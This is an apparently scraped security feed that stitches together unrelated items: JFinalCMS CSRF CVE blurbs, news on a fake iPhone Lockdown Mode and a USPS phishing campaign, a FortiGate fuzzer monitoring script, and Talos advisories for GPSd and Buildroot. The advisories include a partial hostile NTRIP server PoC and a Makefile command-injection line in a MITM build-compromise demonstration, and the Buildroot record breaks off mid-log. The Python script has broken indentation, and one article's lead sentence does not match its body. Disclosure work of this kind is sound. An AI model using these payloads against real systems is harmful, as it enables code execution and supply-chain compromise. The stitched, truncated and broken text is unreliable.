JFinalCMS v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/category/update.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-49395: new_cms/CSRF exists in the column management modification section.md at main · nightcloudos/new_cms

JFinalCMS v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/category/delete.

CVE-2023-49398: new_cms/CSRF exists at the deletion point of column management.md at main · nightcloudos/new_cms

JFinalCMS v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/tag/save.

CVE-2023-49383: cms/Added CSRF in Label Management.md at main · cui2shark/cms

JFinalCMS v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/slide/save.

CVE-2023-49372: cms/There is a CSRF present at the new location of the rotation image.md at main · li-yu320/cms

JFinalCMS v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/nav/update.

CVE-2023-49447: cms/CSRF exists at the navigation management modification location.md at main · ysuzhangbin/cms

A new "post-exploitation tampering technique" can be abused by malicious actors to visually deceive a target into believing that their Apple iPhone is running in Lockdown Mode when it's actually not and carry out covert attacks.
The novel, detailed by Jamf Threat Labs in a report shared with The Hacker News, "shows that if a hacker has already infiltrated your device, they can cause

Mobile Security / Spyware

A new "post-exploitation tampering technique" can be abused by malicious actors to visually deceive a target into believing that their Apple iPhone is running in Lockdown Mode when it's actually not and carry out covert attacks.

The novel, detailed by Jamf Threat Labs in a report shared with The Hacker News, "shows that if a hacker has already infiltrated your device, they can cause Lockdown Mode to be 'bypassed' when you trigger its activation."

In other words, the goal is to implement Fake Lockdown Mode on a device that's compromised by an attacker through other means, such as unpatched security flaws that can trigger execution of arbitrary code.

UPCOMING WEBINAR

Learn Insider Threat Detection with Application Response Strategies

Discover how application detection, response, and automated behavior modeling can revolutionize your defense against insider threats.

Join Now

Lockdown Mode, introduced by Apple last year with iOS 16, is an enhanced security measure that aims to safeguard high-risk individuals from sophisticated digital threats such as mercenary spyware by minimizing the attack surface.

What it doesn't do is prevent the execution of malicious payloads on a compromised device, thereby allowing a trojan deployed on it to manipulate Lockdown Mode and give users an illusion of security.

"In the case of an infected phone, there are no safeguards in place to stop the malware from running in the background, whether the user activates Lockdown Mode or not," security researchers Hu Ke and Nir Avraham said.

The fake Lockdown Mode is accomplished by hooking functions – e.g., setLockdownModeGloballyEnabled, lockdownModeEnabled, and isLockdownModeEnabledForSafari – that are triggered upon activating the setting so as to create a file called "/fakelockdownmode\_on" and initiate a userspace reboot, which terminates all processes and restarts the system without touching the kernel.

This also means that a piece of malware implanted on the device sans any persistence mechanism will continue to exist even after a reboot of this kind and surreptitiously spy on its users.

What's more, an adversary could alter the Lockdown Mode on the Safari web browser to make it possible to view PDF files, which are otherwise blocked when the setting is turned on.

"Since iOS 17, Apple has elevated Lockdown Mode to kernel level," the researchers said. "This strategic move is a great step in enhancing security, as changes made by Lockdown Mode in the kernel typically cannot be undone without undergoing a system reboot, thanks to existing security mitigations."

The disclosure from Jamf arrives nearly four months after it demonstrated another novel method on iOS 16 that could be abused to fly under the radar and maintain access to an Apple device by tricking the victim into thinking their device's Airplane Mode is enabled.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Warning for iPhone Users: Experts Warn of Sneaky Fake Lockdown Mode Attack

This is a small extension script to monitor suff.py, or the Simple Universal Fortigate Fuzzer, and to collect crashlogs for future analysis.

#!/usr/bin/env python3  
# suff_monitor.py -- basic monitoring for fuzzing scenarios (suff/burp/mutiny)  
#   
# -- updates --  
# 22.11.2023 @ 02:23 :: shame init version ready to go  
# 21.11.2023 @ 19:18 :: log me if you can  
# 21.11.2023 @ 15:14 :: added: time, sleep, log2fp  
# 21.11.2023 @ 01:19 :: started this lame code  
#   
# idea - run suff_monitor.py against the box you're testing (fgvm):  
# - add time to sleep and date to log updates  
# - log in (so same creds as for suff.py, postauth testing, etc)  
# - get ver/info -> log2file  
# ** (should be ready at this stage, so): **  
#   while true:  
#       check_diag_deb(+log2file,+a)  
#       sleep 1  
#  end_of_file  
#   
# -------------  
#   
# for more details:  
#   https://code610.blogspot.com/2023/12/monitoring-suff.html  
#   https://code610.blogspot.com/2023/04/fuzzing-fortigate-7.html    
#   https://github.com/c610/free/blob/master/suff-v0.1.py  
#   https://github.com/c610/free/blob/master/fg7stack_poc.py  
#   
# 

from netmiko import Netmiko  
import sys,os  
import time  
import paramiko

###################  
##############  
########  
####  
##  
#

fplog = open('saveme.log','+a')

command = 'diag debug crashlog show' # did you enable logs in your FGVM?

def connect_to_crashlog():

         # set up for the target  
    try:

                fw_01 = {  
          'host':'192.168.56.231',  
          'username':'admin',  
          'password':'P@ssw0rd',  
          'device_type':'fortinet',  
          'timeout':3  
          }

        net_connect = Netmiko( **fw_01 )  
        print("+ Connected to FG!")  
        print("+    logfile: savethis.log")

        fplog.write('----starting suff_monitor.py ----\n')  
        fplog.write(net_connect)    
        fplog.write('\n-- results below: --\n')

        # if we're connected: check diag debug crashlog (or any other you'd like to)  
        send_logcheck_cfg = net_connect.send_config_set( command  ) 

                fplog.write(send_logcheck_cfg)  
        fplog.write('\n---- next while loop ----\n')

                print("+ looks like we just sent this command:\n\t%s\n\n" % send_logcheck_cfg )

        print("send_init_cfg finished")

    ## check crashlog finished 

    except paramiko.ssh_exception.SSHException as e:  
        print(" > connection error: %s" % e)

    except ConnectionResetError as e:  
        print("> connection error2: %s" % e)

    except UnboundLocalError as e:  
        print("UnboundLocalError: local variable 'net_connect' referenced before assignment")  
        print("> unbound variable error: %s" % e)

## end of connect_to_crashlog()   
# 

##########  
#### main  
##########

print('y0;[')  
print('starting: connect_to_crashlog()')

while True:

    print('debug: connect_to_crashlog() starting...')

    connect_to_crashlog()

    print("... sleeping 1...")  
    time.sleep(1) 

    print('sleep done. next True iter...')

    ####   
print("finished main()")

Simple Universal Fortigate Fuzzer Extension Script

By Deeba Ahmed
Walmart customers have become the prime target of this phishing scam.
This is a post from HackRead.com Read the original post: USPS Delivery Phishing Scam Exploits SaaS Providers to Steal Data

A new USPS Delivery Phishing Scam has surfaced, in which scammers are exploiting Freemium Dynamic DNS and SaaS Providers to steal victims’ login credentials and other data.

Cybersecurity researchers at Bloster AI have uncovered a new USPS Delivery Phishing campaign that employs sophisticated techniques to target victims in the United States.

It comes as no surprise that cybercriminals are employing sophisticated techniques to exploit reputable services for scams, making it challenging for innocent consumers to enjoy the holiday shopping season. This pattern is evident in the ongoing scam attack against Booking.com customers.

According to Bloster AI, an automated digital risk protection service, Walmart is a prime target this season due to the higher volume of shipping needs during November and December in the USPS phishing attack. Bolster’s CheckPhish has already discovered over 3,000 phishing domains mimicking Walmart.

The extensive phishing campaign mimics USPS, tricking consumers into thinking they have failed deliveries and late payments. Threat actors have substantially improved their attack tactics, transitioning from deceptive/misleading messages to luring victims into downloading financial/banking data-stealing apps.

In their blog post, researchers noted that the domain walmartsco was active while they were writing the blog post. This domain mainly mimicked Walmart’s domain name and served USPS delivery tracking-related content and redirects to the authentic USPS portal to evade detection mechanisms. 

Scammers distribute phishing links via email or SMS and use stolen data to lure victims into giving away sensitive banking data via social engineering techniques. Once a victim’s bank details are acquired, attackers can purchase, transfer money, or gain monetary benefits.

Phishing sites contain a site title such as USPS.com® – USPS Tracking® Results, and are designed to steal sensitive information like email addresses, names, phone numbers, residential addresses, and credit/debit card information. These sites cleverly redirect hyperlinks to legitimate USPS websites and use IP location to evade detection.

In some instances, hackers utilized personal information stolen in this scam, such as email address, phone number, or name, and sent emails/phishing scams pretending to be the victim. Such attacks involving social engineering are more successful if the email/SMS comes from a believable source.

The screenshot shows the phishing email and malicious text messages (Image credit: BlosterAI)

Some phishing sites may also display tracking details as per the victim’s IP locations to appear authentic. Moreover, Bolster researchers noted that threat actors rely on these sites on pushed domains and exploit free hosting services.

These include DNS service hosting provider alviy.com and clear-cloud.com, an app hosting/deploying/maintaining tools provider. Attackers also host phishing sites using available domain names on now-dns.com and forumz.info, etc.

This campaign highlights the dangers of exploiting free hosting services and vulnerabilities in e-commerce platforms. Threat actors are focusing more on SaaS services and using AI technology, social media phishing, and brand impersonation scams to steal/lure customers from profitable sectors, such as finance, healthcare, and government agencies. 

This phishing campaign primarily targets USPS customers in the US, but you may never know when attackers decide to expand the scope of this scam. It has impacted legitimate businesses’ reputations during the busy holiday shopping season. Proactive measures to identify and remove pre-malicious domains either manually or through automated takedown services are crucial to retaining consumer trust. 

****_RELATED ARTICLES_****

1.  **Scammers Leveraging Microsoft Team GIFs in Phishing Attacks**
2.  **Global CDN Service ‘jsdelivr’ Exposed Users to Phishing Attacks**
3.  **Phishing Scam Spoofs German Media, Broadband Conference Anga**
4.  **FBI: Silent Ransom Group Utilizes Callback Phishing for Network Hacks**
5.  **Hackers Aim at Crypto Wallets with Hacked Namecheap Phishing Emails**

USPS Delivery Phishing Scam Exploits SaaS Providers to Steal Data

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

GPSd 3.25.1~dev

**PRODUCT URLS**

GPSd - https://gpsd.gitlab.io/gpsd/

**CVSSv3 SCORE**

5.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

GPSd is a daemon used for monitoring, collecting and reporting GPS information to clients. In a typical configuration, the GPS data are provided by a serial device connected to the host machine. However, GPSd also supports aggregating GPS data from network sources. It is extensively used in Android as well as embedded systems such as drones, robot submarines, driverless cars, marine navigation and military systems.

GPSd can act as a client that gets GPS information from the network using the NTRIP protocol. As specified in the NTRIP documentation, the NTRIP client does an HTTP request to the NTRIP caster (as per NTRIP documentation) expecting a source table as a response. The source table defines a list of records describing the data provided:

    SOURCETABLE 200 OK
    Content-Type: text/plain
    Content-Length: 6999 
    STR;FFMJ2;Frankfurt;RTCM 2.1;1(1),3(19),16(59);0;GPS;GREF;DEU;50.12;8.68;0;1;GPSNet V2.10;none;N;N;560;Demo 
    ENDSOURCETABLE
    

In the example above, a stream record is defined under the FFMJ2 path, where the NTRIP client is expected to perform a standard HTTP request to get specific GPS data.

GPSd, acting as an NTRIP client, uses the following code to parse the response from the caster.

    #define NTRIP_BR                "\r\n"
    
    int ntrip_stream_get_parse(struct gps_device_t *device)
    {
    	    ...
        while (1) {
            lexer_getline(lexer);                                   [1]
    		          ...
            if ('\0' == *lexer->outbuffer) {
                // done, never got end of headers.
                break;
            }
    		
            if (0 == strncmp(obuf, NTRIP_BR, sizeof(NTRIP_BR))) {   [2]
                // done
                break;
            }
        }
        ...
    } The code performs a loop, getting one line from the response until there is a NULL byte or the delimiter `\r\n` is found at (2), denoting the main body of the response. To get one line, the `lexer_getline()` is used at [1] above.
    
    static void lexer_getline(struct gps_lexer_t *lexer)
    {
    	unsigned i;
    	
        for (i = 0; i < sizeof(lexer->outbuffer) - 2; i++) {
            unsigned char u = *lexer->inbufptr++;
    
            lexer->outbuffer[i] = u;
            lexer->inbuflen--;                                   [3]
    
            if ('\0' == u) {
                // found NUL
                break;
            }
            if ('\n' == u) {
                // found return
                i++;
                break;
            }
    
            if (0 == lexer->inbuflen) {                          [4]
                // nothing left to read,  ending not found
                i++;
                break;
            }
        }
    }
    

In lexer_getline(), the code parses a line from one character at a time, looking for either a NULL byte or the \n character. In each iteration, the lexer->inbuflen variable is decremented at \[3\]. At \[4\], when the lexer->inbuflen is 0, the loop exits, denoting that there are no other characters to parse in that line, assuming no NULL bytes or \n characters are found in the line.

Recall however that the code continues to execute in the outer loop, searching for the the \r\n characters at \[2\]. If the characters are not found, the loop continues, executing lexer_getline() once again. Then at \[3\], the lexer->inbuflen is decremented once again, leading to an integer underflow.

Later, since the lexer->inbuflen is now 0xffffffffffffffff, the code believes there are leftover characters in the buffer and attempts to do a memmove() using lexer->inbuflen as the size argument. This could lead to memory corruption.

    ...
    if (0 == lexer->inbuflen) {
    	packet_reset(lexer);
    } else {
    	// The "leftover" is the start of the first chunk.
    	if (lexer->inbufptr != lexer->inbuffer) {
    		// Shift inbufptr to the start.  Yes, a bit brutal.
    		memmove(lexer->inbuffer, lexer->inbufptr, lexer->inbuflen);       [5]
    		lexer->inbufptr = lexer->inbuffer;
    	}
    }
    

**Crash Information**

    ==470012==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x55e609056090 in __asan_memmove (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    #1 0x55e6091b8631 in ntrip_stream_get_parse /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:791:13
    #2 0x55e6091baf02 in ntrip_open /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:1124:15
    #3 0x55e6091b0c6d in gpsd_multipoll /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/libgpsd_core.c:1978:19
    #4 0x55e60909b0d6 in main /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:2855:29
    #5 0x7f3ab3269d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7f3ab3269e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #7 0x55e608fbb8a4 in _start (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x878a4) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    
    0x55e609da436a is located 29450 bytes inside of global variable 'devices' defined in '/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:315' (0x55e609d9d060) of size 730512
    SUMMARY: AddressSanitizer: negative-size-param (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497) in __asan_memmove
    

**Exploit Proof of Concept**

As a PoC, we act as a very simple NTRIP caster, functionally the same as an HTTP server. On a GET request on the root we send a source table with one record, indicating that we provide NTRIP stream data under the TEST path. When GPSd does a request on this specific path, we send a standard HTTP response that is not properly terminated as GPSd expects, resulting in a crash.

        r = s.recv(128)
        print(f"[+] Got request '{r[:16]}', ...")
    
        if len(r) == 0:
            return
    
        if r.startswith(b"GET / HTTP/1.1"):
            print("[+] Sending NTRIP sourcetable")
    
            s.sendall(b"Content-Type: gnss/sourcetable\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"SOURCETABLE\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"STR;TEST;City;CMR+;\r\n")
            s.sendall(b"ENDSOURCETABLE\r\n")
    
        elif r.startswith(b"GET /TEST HTTP/1.1"):
            print("[+] Got stream data request ...")
    
            s.sendall(b"HTTP/1.1 200 OK\r\n")
    

**TIMELINE**

2023-11-22 - Initial Vendor Contact  
2023-11-23 - Vendor Disclosure  
2023-11-29 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Dimitrios Tatsis of Cisco Talos.

CVE-2023-43628: TALOS-2023-1860 || Cisco Talos Intelligence Group

A data integrity vulnerability exists in the BR_NO_CHECK_HASH_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**SUMMARY**

A data integrity vulnerability exists in the BR\_NO\_CHECK\_HASH\_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions defined in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.  
In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match, check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 3. This seems to be commonly used to skip integrity checks for resources that can’t be easily hashed (for example, developement resources that change often). It is also used when building specific versions of a package, for which hashes may not be available in Buildroot’s sources.

For example, the Linux Kernel Buildroot Makefile (linux/linux.mk):

    ...
    ifeq ($(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION),y)
        BR_NO_CHECK_HASH_FOR += $(LINUX_SOURCE)
    endif
    ...
    

If both BR2_LINUX_KERNEL and BR2_LINUX_KERNEL_LATEST_VERSION where enabled, the result of $(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION) would be yy.  
So, the ifeq checks if BR2_LINUX_KERNEL_LATEST_VERSION is NOT selected, in which case it adds linux-<version>-br1.tar.gz to the BR_NO_CHECK_HASH_FOR variable.

This is, however, problematic in some setups. For example, consider this Buildroot minimal configuration:

    BR2_LINUX_KERNEL=y
    BR2_LINUX_KERNEL_CUSTOM_GIT=y
    BR2_LINUX_KERNEL_CUSTOM_REPO_URL="https://192.168.50.50"
    BR2_LINUX_KERNEL_CUSTOM_REPO_VERSION="123"
    

This defines a custom repository for fetching the Linux Kernel, so it may be important to only fetch the sources from that repository, for Linux specifically. This will work fine the majority of the time. However, if an attacker is able to drop connections towards 192.168.50.50, this will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri. The next $uri is going to be http://sources.buildroot.net/linux/linux-123-br1.tar.gz, because of the default BR2_BACKUP_SITE variable. This will lead to downloading Linux Kernel sources via plain HTTP without performing any hash checks.

Since the Linux Kernel can ship patch files or Makefiles, by supplying a compromised source package, an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.  
For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to 192.168.50.50, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    >>> linux-headers 123 Downloading
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
    fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
